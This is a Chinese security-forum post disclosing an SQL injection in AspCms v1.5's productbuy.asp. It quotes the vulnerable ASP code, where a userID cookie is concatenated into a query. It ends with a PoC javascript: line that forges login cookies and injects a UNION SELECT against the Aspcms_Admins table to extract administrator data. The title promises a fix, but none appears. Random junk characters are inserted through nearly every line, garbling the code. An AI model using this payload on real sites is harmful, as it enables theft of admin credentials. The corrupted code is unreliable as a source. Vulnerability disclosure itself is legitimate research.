找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
( I6 |4 G! e( L$ o0 J也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
& R1 X# ~  W6 l) a4 t7 |废话不多说,看代码:( p; j% ?* T6 Q; N- Y

5 Y1 X/ A% s  p+ ]' B<%
6 n9 W4 y6 q/ ~3 d8 O& K* x2 i1 W: p
if action = "buy" then$ y( G) `0 K% ^

' n) N! P6 J! Y. m: q        addOrder()2 |! j# ?; w1 r
, K' B) g7 x9 b# W* C
else
7 L0 d: J* U2 R3 g5 L' Q9 M6 M. L7 Y1 o* K& q: o
        echoContent()
) q+ y5 @% V7 e( a& z/ W3 o  K0 r( x8 c
end if8 Y( i' L; M, J! j% Q% \% o0 `
* c2 ~: ]: x3 N! F( w
* N, y1 a- C' _, S) E- F* h) k% W

7 T) C4 g8 B; ~* _6 F1 T……略过
. R$ j( B9 D& Y2 j# f1 e
5 j* ^) ~, B  a$ b! d" G; p  b& M! |/ w
: [7 S( ?# E2 @" C( j" M' V( P
Sub echoContent()/ q8 e# r6 u: ~! ]6 j
+ o5 j& j* X5 G
        dim id
" Y. S$ C$ Q2 h3 m$ r
# `7 U- B6 T" S1 q- D) s        id=getForm("id","get")
0 G0 u$ v' e4 i4 s- B9 j7 i! A- P1 O  X2 e( C1 L+ n5 T# k
        
& C# S$ \2 C( y) p8 X/ b" `; W7 f# j
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" / `; O0 v% B4 U' F% ~
( |) U/ H. Q; B/ F
        
! G9 O. T& J( }, V' s# N$ [- w# j" `$ h0 i3 o# ~& u+ i
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")* S+ L" {' t- j0 J/ ^. b

, Y& g& j2 s) _; X        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
3 E  ]: a' _8 b8 s% a
. y; P3 _2 [! w4 c# J5 C        Dim templatePath,tempStr8 z7 q0 O8 _0 N/ U
- I) ~9 p0 a! g4 B/ N. U$ t) Y
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
. E3 H+ u$ C1 ~9 b# b! f, ~' b8 M8 p+ t. e. ^
# l/ w* _- d2 f" x+ g7 @

1 v" ~9 z2 s& p        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
. M) W, b+ p. G/ f7 V9 [2 O- p% H2 p+ y) f1 N$ p
        selectproduct=rsObj(0)
; z3 V7 A$ {- `. o
  A3 M6 E7 ]2 s7 K: P4 E5 I" t        " S: t4 G3 V3 w( Z6 K4 v

, @; }! V- z3 N6 T- W$ W        Dim linkman,gender,phone,mobile,email,qq,address,postcode
2 r; T& `  x; i# \4 c1 {+ O% ?! E, i! i
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0  c6 D3 [# U! b! B  K: }

3 c( n1 E1 u  n1 u* e% G) y* |        if rCookie("loginstatus")=1 then  
0 y* s6 C+ Q+ v0 u$ p' L+ b
* e: N- u; ~- ]+ H# h                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")" A+ a% \( i  ~' }$ n9 m1 ?; {
# C6 @2 {2 ~# s7 f% g
                linkman=rsObj("truename")
2 |& z/ @+ c3 X- u/ u
7 k. z: b4 }' z                gender=rsObj("gender")
/ f+ n9 P6 Y/ |; F  o# w5 ^1 z; n6 V7 c( i
                phone=rsObj("phone")" |4 q: w4 m. J- Y1 B

% ], E0 O: e/ @" G                mobile=rsObj("mobile")
. M. t/ }( ^4 D( E: W& j" c+ ~- h( ?& F% v
                email=rsObj("email")( j: O6 `8 W6 A- U
) t8 O' ^, {2 Y1 G! }
                qq=rsObj("qq")2 Y4 `5 f& w% T- ~# ]5 q/ ?
9 d" K, O' J3 K* u- w- U' I+ ~
                address=rsObj("address")4 ]  D+ u4 H( H
  R* e9 D. j0 ~$ K6 u- f7 ~
                postcode=rsObj("postcode")
0 W2 f! R+ \3 C6 s# ?& \& D7 l+ K
9 ~& J, E& n5 `# o" [        else   F9 A8 V) B. N- H8 s4 S+ i) g

( y7 K  g  I- G% e* \; K                gender=15 b+ z( l8 j8 q5 a( R6 _  O/ G
7 o5 S. L1 O  Q5 }$ h: R: j3 t
        end if
3 ^1 x; C% e3 u! V+ y1 l; q1 q; _$ m! N( P& Z& w
        rsObj.close()/ w7 K9 @3 M( N% q' h/ m. x& u) K; @

% D- h/ b# ~3 }+ Z               
6 f, R- R: d( M8 F( C* `+ F0 @
; f% x5 D. D- z8 z. R) \        with templateObj , t, b3 f/ p& R0 z9 F" V% M# Y  Q

4 [0 ~4 `9 C! V! V8 d" S6 @& D                .content=loadFile(templatePath)        1 R7 i+ r% C* _
  K# e8 J* d' h" Q" p9 ~) r
                .parseHtml()
) X9 e4 _2 b6 B. _* v; Z# a8 R" h( Z' s  o& T
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
) w. N: f  A! h- I( V; ^. a9 S4 C* k! F1 D7 H5 ~1 i* E
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
# _, P. D1 i# L- R5 T. \9 ?9 u# S8 q1 o* B$ w* c$ y0 Y
                .content=replaceStr(.content,"[aspcms:gender]",gender)                  w5 |" H" e- k3 z

8 T, @$ V+ z5 d/ u                .content=replaceStr(.content,"[aspcms:phone]",phone)                0 A$ C( M$ u3 G# V

2 A5 D8 t/ B$ \. R                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                9 R; l7 h, B8 F: t

8 @2 K- x3 N( Z0 G6 O) l                .content=replaceStr(.content,"[aspcms:email]",email)                        
; R" [8 ?; p' `; I" C
" k% x! A% l3 \7 D' j  E, o4 W$ n                .content=replaceStr(.content,"[aspcms:qq]",qq)                        % d' w* U9 ~9 R% H

+ c" U: K# \4 T                .content=replaceStr(.content,"[aspcms:address]",address)                        
- n- P: l+ N4 l$ A
6 B4 @4 @5 Z4 i( L                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        $ q2 _8 U1 a0 H6 |" d1 a
  R7 I' W+ b2 G7 x/ X. Z3 x7 c  ^, H
                .parseCommon()                 
3 N3 I( [: |+ h: r: W# c7 T6 K5 [/ f3 Z/ L
                echo .content " p4 u6 t, ^0 V8 i) Z
+ S# Y6 w4 E6 i5 V6 U6 K; Z% S
        end with
& k' j& I1 ~% F& ?9 b2 p. d9 n& `. L2 g2 F- O
        set templateobj =nothing : terminateAllObjects
* W. B4 D9 Q! z' `2 V, h% f" y2 f
3 d  j; q! I5 c) O' b3 V( dEnd Sub3 ]5 x0 n& A7 n" ^! u& b; \
漏洞很明显,没啥好说的
: ]: g5 {% R& d  t7 e0 bpoc:) N7 y4 t5 a& z# V  S
3 {1 D" {1 {0 M4 b3 z3 ~0 e
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​* k$ w( t- k  d
/ w# o: }1 r- I% t3 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表